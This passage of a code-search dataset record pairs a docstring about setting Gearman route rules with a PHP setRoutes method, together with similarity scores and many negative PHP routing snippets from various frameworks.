link function '$link_function' already exists!\");\n }\n $this->routes[$link_function] = new Route($url, $target);\n }" ]
[ "0.6068884", "0.59942645", "0.59163034", "0.59026635", "0.58107483", "0.57887775", "0.57771766", "0.57535636", "0.5748214", "0.56960714", "0.56480557", "0.5607262", "0.5604719", "0.5593495", "0.5586549", "0.5550052", "0.54684734", "0.5459784", "0.54414636", "0.53633064", "0.53604263", "0.5346516", "0.5346516", "0.53286356", "0.53020006", "0.5216335", "0.5194412", "0.5193143", "0.5181244", "0.517274", "0.51648164", "0.51542413", "0.51519144", "0.51368636", "0.51116085", "0.5105705", "0.50725466", "0.50686574", "0.5057505", "0.5056166", "0.50470257", "0.5035075", "0.50350696", "0.50319046", "0.5030802", "0.50216156", "0.5016143", "0.5013792", "0.50120413", "0.49944443", "0.4986446", "0.4985399", "0.4973968", "0.49724108", "0.49662846", "0.4955133", "0.49466932", "0.49427047", "0.4929617", "0.49247947", "0.48964593", "0.48956403", "0.48904896", "0.48841158", "0.48762903", "0.48729476", "0.48515585", "0.48499215", "0.48399773", "0.48336077", "0.4833547", "0.4812386", "0.48068058", "0.48017076", "0.4795739", "0.47952488", "0.4794406", "0.47866604", "0.47796625", "0.47746673", "0.4754319", "0.47534367", "0.4745446", "0.4742978", "0.4736456", "0.47347036", "0.4728018", "0.47118452", "0.46998823", "0.4698631", "0.4691035", "0.46896583", "0.46866342", "0.46775475", "0.46707237", "0.46693522", "0.46674293", "0.46671897", "0.46637234", "0.46581614" ]
0.4856299
66
Set map route rules. Example: array( 'reverse' => 'gearmanHandler', 'myreverse' => array('StringHandler', 'reverse'), 'var_dump' => new EGearmanRoute('var_dump', 'contoller', 'action'), )
public function setRoutes(array $routes) { foreach ($routes as $command => $route) { $this->setRoute($command, $route); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n $this->mapACLRoutes(); \n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n $this->mapArticleRoutes();\n $this->mapVideoRoutes();\n $this->mapProductRoutes();\n $this->mapHarvestRoutes();\n $this->mapUserRoutes();\n $this->mapCategoryRoutes();\n $this->mapRegionRoutes();\n $this->mapUnitRoutes();\n $this->mapOrderRoutes();\n $this->mapLandRoutes();\n $this->mapBannerRoutes();\n $this->mapAdminRoutes();\n\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n $this->mapWebRoutes();\n $this->mapAdminRoutes();\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n $this->mapUserRoutes();\n $this->mapTrainingRoutes();\n $this->mapTrainingModeRoutes();\n $this->mapTrainingSystemRoutes();\n $this->mapTrainingBrandRoutes();\n $this->mapTrainingTypeRoutes();\n $this->mapTrainingAudienceRoutes();\n $this->mapTrainingTargetRoutes();\n $this->mapTrainingUserRoutes();\n $this->mapTrainingHistoryRoutes();\n $this->mapReportsRoutes();\n $this->mapTopPerformanceRoutes();\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n //\n }", "public function map()\n {\n $this->mapWebRoutes();\n\n $this->mapApiRoutes();\n\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n $this->mapFrontWebRoutes();\n $this->mapBackWebRoutes();\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n //\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n $this->mapCustomerRoutes();\n\n $this->mapInternalRoutes();\n\n $this->mapVendorRoutes();\n\n $this->mapWhiteGloveRoutes();\n\n $this->mapLocalRoutes();\n }", "public function map()\n {\n $this->mapProcessEngineRoutes();\n $this->mapApiRoutes();\n $this->mapWebRoutes();\n }", "public function map()\n {\n //panel\n $this->mapPanelRoutes();\n //auth\n $this->mapAuthRoutes();\n //almacen\n $this->mapInventoryRoutes();\n //contabilidad\n $this->mapAccountingRoutes();\n //Recursos Humanos\n $this->mapHumanResourceRoutes();\n //ventas\n $this->mapSaleRoutes();\n\n $this->mapApiRoutes();\n\n //\n }", "public function map()\n {\n $this->mapRoutes();\n\n $this->mapWebRoutes();\n\n //\n }", "public function hookDefineRoutes($args) {\n\t\t$args['router']->addConfig(new Zend_Config_Ini(dirname(__FILE__) . '/routes.ini', 'routes'));\n\t}", "public function declare_routes(){\n\n $this->routes = \\Chocolatine\\get_configuration( 'routes' );\n $view_manager = \\Chocolatine\\get_manager('view');\n\n /**\n * Declare all route\n */\n foreach ( $this->routes as $key => $current_route) {\n\n $this->router->map(['GET', 'POST'], $current_route['route'] ,function ($request, $response, $args) {\n\n $router = \\Chocolatine\\get_service( 'Router' );\n return $router->controller( $request, $response, $args );\n\n });\n\n }\n\n }", "public function map()\n {\n //wap端路由为了防止和web端路由冲突一定要放到前面\n $this->mapWapRoutes();\n //web端路由\n $this->mapWebRoutes();\n //api路由\n $this->mapApiRoutes();\n //Backend路由\n $this->mapBackendRoutes();\n }", "function defineRoutes(&$router) {\n /*\n * example routers\n * \n * \n */\n //$router->map('modulename', 'modulename', array('controller' => 'modulename', 'action' => 'index'));\n //$router->map('dashboard_modulename', 'dashboard/modulename', array('controller' => 'modulename', 'action' => 'index'));\n //$router->map('modulename_view_project', 'modulename/:project_id/view', array('controller' => 'modulename', 'action' => 'view'), array('project_id' => '\\d+'));\n }", "public function map()\n {\n $this->mapApiRoutes();\n $this->mapWebRoutes();\n }", "public function map()\n {\n $this->mapApiRoutes();\n $this->mapWebRoutes();\n }", "public function build_route_map($routes) {}", "public function __construct($path_routes_map = array())\r\n {\r\n self::$map = $path_routes_map;\r\n }", "function defineRoutes(&$router) {\n \n // Main\n $router->map('mobile_access', 'm', array('controller' => 'mobile_access', 'action' => 'index'));\n \n $router->map('mobile_access_login', 'm/login', array('controller' => 'mobile_access_auth', 'action' => 'login'));\n $router->map('mobile_access_logout', 'm/logout', array('controller' => 'mobile_access_auth', 'action' => 'logout'));\n $router->map('mobile_access_forgot_password', 'm/forgot-password', array('controller' => 'mobile_access_auth', 'action' => 'forgot_password'));\n \n // Quick Add\n $router->map('mobile_access_quick_add', 'm/starred', array('controller' => 'mobile_access', 'action' => 'quick_add'));\n \n // Assignments\n $router->map('mobile_access_assignments', 'm/assignments', array('controller' => 'mobile_access', 'action' => 'assignments'));\n \n // Starred\n $router->map('mobile_access_starred', 'm/starred', array('controller' => 'mobile_access', 'action' => 'starred'));\n \n // People\n $router->map('mobile_access_people', 'm/people', array('controller' => 'mobile_access_people', 'action' => 'index'));\n $router->map('mobile_access_view_company', 'm/people/:object_id', array('controller' => 'mobile_access_people', 'action' => 'company'), array('object_id' => '\\d+'));\n $router->map('mobile_access_view_user', 'm/people/users/:object_id', array('controller' => 'mobile_access_people', 'action' => 'user'), array('object_id' => '\\d+'));\n \n \n // Projects\n $router->map('mobile_access_projects', 'm/projects', array('controller' => 'mobile_access_projects', 'action' => 'index'));\n \n // Project\n $router->map('mobile_access_view_project', 'm/project/:project_id', array('controller' => 'mobile_access_project', 'action' => 'index'), array('project_id' => '\\d+'));\n \n // Project discusions\n $router->map('mobile_access_view_discussions', 'm/project/:project_id/discussions', array('controller' => 'mobile_access_project_discussions', 'action' => 'index'), array('project_id' => '\\d+'));\n $router->map('mobile_access_view_discussion', 'm/project/:project_id/discussions/:object_id', array('controller' => 'mobile_access_project_discussions', 'action' => 'view'), array('project_id' => '\\d+', 'object_id' => '\\d+'));\n \n // Project milestones\n $router->map('mobile_access_view_milestones', 'm/project/:project_id/milestones', array('controller' => 'mobile_access_project_milestones', 'action' => 'index'), array('project_id' => '\\d+'));\n $router->map('mobile_access_view_milestone', 'm/project/:project_id/milestones/:object_id', array('controller' => 'mobile_access_project_milestones', 'action' => 'view'), array('project_id' => '\\d+', 'object_id' => '\\d+'));\n \n // Project files\n $router->map('mobile_access_view_files', 'm/project/:project_id/files', array('controller' => 'mobile_access_project_files', 'action' => 'index'), array('project_id' => '\\d+'));\n $router->map('mobile_access_view_file', 'm/project/:project_id/files/:object_id', array('controller' => 'mobile_access_project_files', 'action' => 'view'), array('project_id' => '\\d+', 'object_id' => '\\d+')); \n \n // Project checklists\n $router->map('mobile_access_view_checklists', 'm/project/:project_id/checklists', array('controller' => 'mobile_access_project_checklists', 'action' => 'index'), array('project_id' => '\\d+'));\n $router->map('mobile_access_view_checklist', 'm/project/:project_id/checklists/:object_id', array('controller' => 'mobile_access_project_checklists', 'action' => 'view'), array('project_id' => '\\d+', 'object_id' => '\\d+')); \n \n // Project pages\n $router->map('mobile_access_view_pages', 'm/project/:project_id/pages', array('controller' => 'mobile_access_project_pages', 'action' => 'index'), array('project_id' => '\\d+'));\n $router->map('mobile_access_view_page', 'm/project/:project_id/pages/:object_id', array('controller' => 'mobile_access_project_pages', 'action' => 'view'), array('project_id' => '\\d+', 'object_id' => '\\d+'));\n $router->map('mobile_access_view_page_version', 'm/project/:project_id/pages/:object_id/version/:version', array('controller' => 'mobile_access_project_pages', 'action' => 'version'), array('project_id' => '\\d+', 'object_id' => '\\d+', 'version' => '\\d+'));\n \n // Project tickets\n $router->map('mobile_access_view_tickets', 'm/project/:project_id/tickets', array('controller' => 'mobile_access_project_tickets', 'action' => 'index'), array('project_id' => '\\d+'));\n $router->map('mobile_access_view_ticket', 'm/project/:project_id/tickets/:object_id', array('controller' => 'mobile_access_project_tickets', 'action' => 'view'), array('project_id' => '\\d+', 'object_id' => '\\d+'));\n \n // Project timerecords\n $router->map('mobile_access_view_timerecords', 'm/project/:project_id/timerecords', array('controller' => 'mobile_access_project_timetracking', 'action' => 'index'), array('project_id' => '\\d+'));\n $router->map('mobile_access_view_timerecord', 'm/project/:project_id/timerecords/:object_id', array('controller' => 'mobile_access_project_timetracking', 'action' => 'index'), array('project_id' => '\\d+', 'object_id' => '\\d+'));\n \n // Project subobjects\n $router->map('mobile_access_view_task', 'm/project/:project_id/task/:object_id', array('controller' => 'mobile_access', 'action' => 'view_parent_object'), array('project_id' => '\\d+', 'object_id' => '\\d+'));\n $router->map('mobile_access_view_comment', 'm/project/:project_id/comment/:object_id', array('controller' => 'mobile_access', 'action' => 'view_parent_object'), array('project_id' => '\\d+', 'object_id' => '\\d+'));\n $router->map('mobile_access_add_comment', 'm/project/:project_id/comment/add', array('controller' => 'mobile_access_project', 'action' => 'add_comment'));\n \n // Common\n $router->map('mobile_access_view_category', 'm/category/:object_id', array('controller' => 'mobile_access', 'action' => 'view_category', array('object_id' => '\\d+')));\n $router->map('mobile_access_toggle_object_completed_status', 'm/project/:project_id/toggle-completed/:object_id', array('controller' => 'mobile_access', 'action' => 'toggle_completed', array('project_id' => '\\d+', 'object_id' => '\\d+')));\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n\n $this->mapMobileRoutes();\n }", "protected function _parse_routes()\n {\n $uri = implode('/', $this->uri->segments);\n\n // only for test\n // sometime js file has map file but not found in server\n if (ENVIRONMENT === 'development') {\n log_message('error', json_encode($uri));\n }\n\n // Get HTTP verb\n $http_verb = isset($_SERVER['REQUEST_METHOD']) ? strtolower($_SERVER['REQUEST_METHOD']) : 'cli';\n\n // Loop through the route array looking for wildcards\n foreach ($this->routes as $key => $val)\n {\n // Check if route format is using HTTP verbs\n if (is_array($val))\n {\n $val = array_change_key_case($val, CASE_LOWER);\n if (isset($val[$http_verb]))\n {\n $val = $val[$http_verb];\n }\n else\n {\n continue;\n }\n }\n\n // Convert wildcards to RegEx\n $key = str_replace(array(':any', ':num'), array('.+', '[0-9]+'), $key);\n\n // Does the RegEx match?\n if (preg_match('#^'.$key.'$#', $uri, $matches))\n {\n // Are we using callbacks to process back-references?\n if ( ! is_string($val) && is_callable($val))\n {\n // Remove the original string from the matches array.\n array_shift($matches);\n\n // Execute the callback using the values in matches as its parameters.\n $val = call_user_func_array($val, $matches);\n }\n // Are we using the default routing method for back-references?\n elseif (strpos($val, '$') !== FALSE && strpos($key, '(') !== FALSE)\n {\n $val = preg_replace('#^'.$key.'$#', $val, $uri);\n }\n\n $this->_set_request(explode('/', $val));\n return;\n }\n }\n\n // If we got this far it means we didn't encounter a\n // matching route so we'll set the site default route\n $this->_set_request(array_values($this->uri->segments));\n }", "public function map()\n {\n $this->mapApiRoutes();\n\n $this->mapWebRoutes();\n }", "public function hookDefineRoutes($args)\n {\n $router = $args['router'];\n // Only apply custom routes on public theme.\n // The wildcards on both routes make these routes always apply for the\n // annotation controller.\n\n // get the base path\n/* $bp = get_option('annotation_page_path');\n $router->addRoute('annotationDefault',\n new Zend_Controller_Router_Route('annotation/:action/*',\n array('module' => 'annotation',\n 'controller' => 'annotation',\n 'action' => 'annotate')));\n*/\n if(is_admin_theme()){\n/* $router->addRoute('annotationAdmin',\n new Zend_Controller_Router_Route('annotation/:controller/:action/*',\n array('module' => 'annotation',\n 'controller' => 'index',\n 'action' => 'index')));\n*/\n/* $router->addRoute('cloneAdmin',\n new Zend_Controller_Router_Route('annotation/clone/:action/*',\n array('module' => 'annotation',\n 'controller' => 'clone',\n 'action' => 'clone')));\n*/\n\n }\n }", "public function route() {\n return array(\n '/^sitemap\\.xml$/' => 'actionMap',\n '/^download\\/(.+?).html/' => array(\n 'class' => 'Download',\n 'argument' => '$1'\n )\n );\n }", "public function registerRules()\n {\n\n $routes = $this->getRoutes();\n if (!empty($routes)) {\n add_rewrite_tag('%' . $this->routeVariable . '%', '(.+)');\n foreach ($routes as $name => $route) {\n /** @var Route $route */\n $regex = $this->generateRouteRegex($route);\n $path = $route->getPath();\n\n $qs = $this->routeVariable . '=' . $name;\n if (strpos($path, '{') !== false) {\n preg_match_all('/{(.*?)}/', $path, $wildCardsMatchs);\n $wildCards = $wildCardsMatchs[1];\n if (!empty($wildCards)) {\n $cpt = 1;\n foreach ($wildCards as $wildCard) {\n $qs .= '&' . $wildCard . '=$matches[' . $cpt . ']';\n $cpt++;\n }\n }\n }\n $callable = $route->getCallable();\n if (is_callable($callable) || is_array($callable)) {\n $newRewriteRule = 'index.php?' . $qs;\n } else {\n $newRewriteRule = $callable;\n if (strpos($newRewriteRule, $this->routeVariable . '=' . $name) === false) {\n $newRewriteRule .= '&' . $this->routeVariable . '=' . $name;\n }\n }\n\n add_rewrite_rule($regex, $newRewriteRule, 'top');\n }\n }\n\n return $this;\n }", "public function map()\n {\n $this->mapWebRoutes();\n }", "protected function _parse_routes()\n\t{\n\t\t$uri = implode('/', $this->uri->segments);\n\n\t\t// Get HTTP verb\n\t\t$http_verb = isset($_SERVER['REQUEST_METHOD']) ? strtolower($_SERVER['REQUEST_METHOD']) : 'cli';\n\n\t\t// Loop through the route array looking for wildcards\n\t\tforeach ($this->routes as $key => $val)\n\t\t{\n\t\t\t// Check if route format is using HTTP verbs\n\t\t\tif (is_array($val))\n\t\t\t{\n\t\t\t\t$val = array_change_key_case($val, CASE_LOWER);\n\t\t\t\tif (isset($val[$http_verb]))\n\t\t\t\t{\n\t\t\t\t\t$val = $val[$http_verb];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Convert wildcards to RegEx\n\t\t\t$key = str_replace(array(':any', ':num',':all'), array('[^/]+', '[0-9]+','(?!(Techsystem|techsystem|Vindex\\/tech5sManagerControl).*$).*'), $key);\n\t\t\t// $key = str_replace(array(':any', ':num'), array('[^/]+', '[0-9]+'), $key);\n\t\t\t// Does the RegEx match?\n\t\t\tif (preg_match('#^'.$key.'$#', $uri, $matches))\n\t\t\t{\n\t\t\t\t// Are we using callbacks to process back-references?\n\t\t\t\tif ( ! is_string($val) && is_callable($val))\n\t\t\t\t{\n\t\t\t\t\t// Remove the original string from the matches array.\n\t\t\t\t\tarray_shift($matches);\n\n\t\t\t\t\t// Execute the callback using the values in matches as its parameters.\n\t\t\t\t\t$val = call_user_func_array($val, $matches);\n\t\t\t\t}\n\t\t\t\t// Are we using the default routing method for back-references?\n\t\t\t\telseif (strpos($val, '$') !== FALSE && strpos($key, '(') !== FALSE)\n\t\t\t\t{\n\t\t\t\t\t$val = preg_replace('#^'.$key.'$#', $val, $uri);\n\t\t\t\t}\n\n\t\t\t\t$this->_set_request(explode('/', $val));\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\n\t\t// If we got this far it means we didn't encounter a\n\t\t// matching route so we'll set the site default route\n\t\t$this->_set_request(array_values($this->uri->segments));\n\t}", "private function setRoutes() : void\n {\n $this->routes = $this->routeProvider->getRoutes();\n $this->syRouteCollection = new RouteCollection();\n foreach ($this->routes as $route) {\n $syRoute = new SymfonyRoute(\n $route->getPath(),\n $route->getParamsDefaults(),\n $route->getParamsRequirements(),\n [],\n '',\n [],\n $route->getMethods()\n );\n $this->syRouteCollection->add($route->getName(), $syRoute);\n }\n }", "public function assignRoute(array $route);", "public function mapRoutes()\n {\n Router::loadRouteFiles(\"web.php\");\n Router::loadRouteFiles('patients.php');\n }", "public function map()\n {\n $this->adminGroup(function () {\n $this->mapAdminRoutes();\n });\n }", "abstract public function map(Router $router);", "function defineRoutes() {\n Router::map('homepage', '', array('controller' => DEFAULT_CONTROLLER, 'action' => DEFAULT_ACTION, 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('admin', 'admin', array('controller' => 'admin', 'action' => 'index', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('public', 'public', array('controller' => 'public', 'action' => 'index', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n\n Router::map('wireframe_updates', 'wireframe-updates', array('controller' => 'backend', 'action' => 'wireframe_updates', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n\n Router::map('menu_refresh_url', 'refresh-menu', array('controller' => 'backend', 'action' => 'refresh_menu', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('quick_add', 'quick-add', array('controller' => 'backend', 'action' => 'quick_add', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n \n // API\n Router::map('info', 'info', array('controller' => 'api', 'action' => 'info', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n\n // Disk Space\n Router::map('disk_space_admin', 'admin/disk-space', array('controller' => 'disk_space_admin', 'action' => 'index', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('disk_space_usage', 'admin/disk-space/usage', array('controller' => 'disk_space_admin', 'action' => 'usage', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('disk_space_admin_settings', 'admin/disk-space/settings', array('controller' => 'disk_space_admin', 'action' => 'settings', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('disk_space_remove_application_cache', 'admin/disk-space/tools/remove-application-cache', array('controller' => 'disk_space_admin', 'action' => 'remove_application_cache', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('disk_space_remove_logs', 'admin/disk-space/tools/remove-logs', array('controller' => 'disk_space_admin', 'action' => 'remove_logs', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('disk_space_remove_old_application_versions', 'admin/disk-space/tools/remove-old-application-versions', array('controller' => 'disk_space_admin', 'action' => 'remove_old_application_versions', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n\n // Appearance\n Router::map('appearance_admin', 'admin/appearance', array('controller' => 'appearance', 'action' => 'index', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('appearance_admin_add_scheme', 'admin/appearance/add-scheme', array('controller' => 'appearance', 'action' => 'add', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('appearance_admin_edit_scheme', 'admin/appearance/:scheme_id/edit', array('controller' => 'appearance', 'action' => 'edit', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('appearance_admin_rename_scheme', 'admin/appearance/:scheme_id/rename', array('controller' => 'appearance', 'action' => 'rename', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('appearance_admin_delete_scheme', 'admin/appearance/:scheme_id/delete', array('controller' => 'appearance', 'action' => 'delete', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('appearance_admin_set_as_default_scheme', 'admin/appearance/:scheme_id/set-as-default', array('controller' => 'appearance', 'action' => 'set_as_default', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n\n // Scheduled Tasks Admin\n Router::map('scheduled_tasks_admin', 'admin/scheduled-tasks', array('controller' => 'scheduled_tasks_admin', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n\n // Network settings\n Router::map('network_settings', 'admin/network', array('controller' => 'network_admin', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n \n // Indices admin\n Router::map('indices_admin', 'admin/indices', array('controller' => 'indices_admin', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('indices_admin_rebuild', 'admin/indices/rebuild', array('controller' => 'indices_admin', 'action' => 'rebuild', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('indices_admin_rebuild_finish', 'admin/indices/rebuild/finish', array('controller' => 'indices_admin', 'action' => 'rebuild_finish', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n \n Router::map('object_contexts_admin_rebuild', 'admin/indices/object-contexts/rebuild', array('controller' => 'object_contexts_admin', 'action' => 'rebuild', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('object_contexts_admin_clean', 'admin/indices/object-contexts/clean', array('controller' => 'object_contexts_admin', 'action' => 'clean', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n \n // Scheduled tasks\n Router::map('frequently', 'frequently', array('controller' => 'scheduled_tasks', 'action' => 'frequently', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('hourly', 'hourly', array('controller' => 'scheduled_tasks', 'action' => 'hourly', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('daily', 'daily', array('controller' => 'scheduled_tasks', 'action' => 'daily', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n \n // trash related\n Router::map('trash', 'trash', array('controller' => 'trash', 'action' => 'index', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('trash_section', 'trash/:section_name', array('controller' => 'trash', 'action' => 'section', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('trash_empty', 'trash/empty', array('controller' => 'trash', 'action' => 'empty_trash', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n\n Router::map('object_untrash', 'trash/untrash-object', array('controller' => 'trash', 'action' => 'untrash_object', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO), array('object_id' => Router::MATCH_ID));\n Router::map('object_delete', 'trash/delete-object', array('controller' => 'trash', 'action' => 'delete_object', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO), array('object_id' => Router::MATCH_ID));\n\n // Control Tower\n Router::map('control_tower', 'control-tower', array('controller' => 'control_tower', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('control_tower_empty_cache', 'control-tower/empty-cache', array('controller' => 'control_tower', 'action' => 'empty_cache', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('control_tower_delete_compiled_templates', 'control-tower/delete-compiled-templates', array('controller' => 'control_tower', 'action' => 'delete_compiled_templates', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('control_tower_rebuild_images', 'control-tower/rebuild-images', array('controller' => 'control_tower', 'action' => 'rebuild_images', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n Router::map('control_tower_rebuild_localization', 'control-tower/rebuild-localization', array('controller' => 'control_tower', 'action' => 'rebuild_localization', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n\n Router::map('control_tower_settings', 'admin/control-tower', array('controller' => 'control_tower', 'action' => 'settings', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n\n\t // Firewall\n\t Router::map('firewall', 'admin/firewall', array('controller' => 'firewall', 'module' => ENVIRONMENT_FRAMEWORK_INJECT_INTO));\n }", "protected function mapRoutes()\n {\n $this->loadRoutesFrom(__DIR__.'/../../routes/api/admin.php');\n }", "protected function mapRoutes()\n {\n $this->loadRoutesFrom(__DIR__.'/../../routes/api/base.php');\n $this->loadRoutesFrom(__DIR__.'/../../routes/api/admin.php');\n // $this->loadRoutesFrom(__DIR__.'/../../routes/web.php');\n $this->loadRoutesFrom(__DIR__.'/../../routes/auth.php');\n }", "public function setRoutes(array $routes);", "public function addRoutes(): void\n {\n $router = $this->config['router'] ?? Router::class;\n $router::$DELIMITER = $this->delimiter;\n foreach (static::$routes as [$url, $func, $method]) {\n $router::add($url, [$this, $func], $method);\n }\n }", "protected function setRules($rules)\r\n {\r\n if (isset($rules['routes'])) {\r\n $this->routes_activate = $rules['routes'];\r\n }\r\n if (isset($rules['urls'])) {\r\n $this->urls_activate = $rules['urls'];\r\n }\r\n if (isset($rules['routes_parts'])) {\r\n $this->routes_parts = $rules['routes_parts'];\r\n }\r\n }", "public function setRoute(array $route): void;", "public function map()\n {\n $this->mapServiceRoutes();\n }", "public function map()\n {\n $this->mapV1Routes();\n }", "public static function routes(): void\n {\n //\n }", "public function setRoute() {\n $address = $_SERVER['REQUEST_URI'];\n \n $this->determineControllerAndMethod($address);\n\n $this->determineArguments($address);\n }", "public function map($args)\n {\n $route = array_shift($args);\n $controller = array_pop($args);\n\n list($route, $middleware, $defaults) = $this->groups($route, $args);\n\n return $this->routes[] = $this->routeObject->route($route, $controller)->uses($middleware)->defaults($defaults);\n }", "public function map() {\n\t\tRoute::middleware( 'web' )->group( mantle_base_path( 'routes/web.php' ) );\n\t\tRoute::middleware( 'rest-api' )->group( mantle_base_path( 'routes/rest-api.php' ) );\n\t}", "private function load_routes() {\n\n // 1. plugins routes\n foreach($this->context->plugins() as $plugin) {\n \n if(false === $plugin->is_type('IRoutesPlugin')) continue;\n\n foreach($plugin->routes() as $route_value) {\n $this->routes[]= $route_value;\n }\n }\n\n // 2. config.xml routes\n $config_routes= $this->context->config()->routes();\n // XXX: review, maybe Route[] should be returned by configurator?\n foreach( $config_routes as $r ) {\n // xxx. requirements\n $this->routes[]= new Route( \n (string)trim($r['name']), // name\n (string)trim($r['value']), // definition\n $this->context->config()->route_defaults($r) // array with defaults\n );\n }\n\n // Medick::dump($this->routes);\n\n // xxx: throw exception if 0 routes?\n }", "public function route()\n\t{\n\t\t/* [http|https]/[Ajax|]/[Get|Post|Delete|Put]/uri */\n\t\t$this->route = $this->route_raw = ($this->c->Request->is_https ? 'https' : 'http').'/'.($this->c->Request->is_ajax ? 'Ajax' : '').'/'.$this->c->Request->request.'/'.$this->c->Request->uri;\n\n\t\t/* call dispatch event */\n\t\t$this->c->Event->preRouter();\n\n\t\t/* rewrite dispatch route */\n\t\tforeach ($this->c->router['routes'] as $regexpath => $switchto) {\n\t\t\tif (preg_match($regexpath, $this->route)) {\n\t\t\t\t/* we got a match */\n\t\t\t\t$this->route = preg_replace($regexpath, $switchto, $this->route);\n\t\t\t\t$this->route_matched = $regexpath;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\t/* call dispatch event */\n\t\t$this->c->Event->postRouter();\n\n\t}", "protected function init() {\n\t\t$routes = $this->routePluginManager;\n\t\tforeach ( array (\n\t\t\t\t'hostname' => __NAMESPACE__ . '\\Hostname',\n\t\t\t\t'literal' => __NAMESPACE__ . '\\Literal',\n\t\t\t\t'part' => __NAMESPACE__ . '\\Part',\n\t\t\t\t'regex' => __NAMESPACE__ . '\\Regex',\n\t\t\t\t'scheme' => __NAMESPACE__ . '\\Scheme',\n\t\t\t\t'segment' => __NAMESPACE__ . '\\Segment',\n\t\t\t\t'wildcard' => __NAMESPACE__ . '\\Wildcard',\n\t\t\t\t'query' => __NAMESPACE__ . '\\Query',\n\t\t\t\t'method' => __NAMESPACE__ . '\\Method' \n\t\t) as $name => $class ) {\n\t\t\t$routes->setInvokableClass ( $name, $class );\n\t\t}\n\t\t;\n\t}", "public function setRoute($match, $isRegex, $controller, $class,\n $function)\n {\n $this->routes[$match] = array(\n 'match' => $match,\n 'is_regex' => $isRegex,\n 'controller' => $controller,\n 'class' => $class,\n 'function' => $function\n );\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public function register_routes()\n {\n }", "public 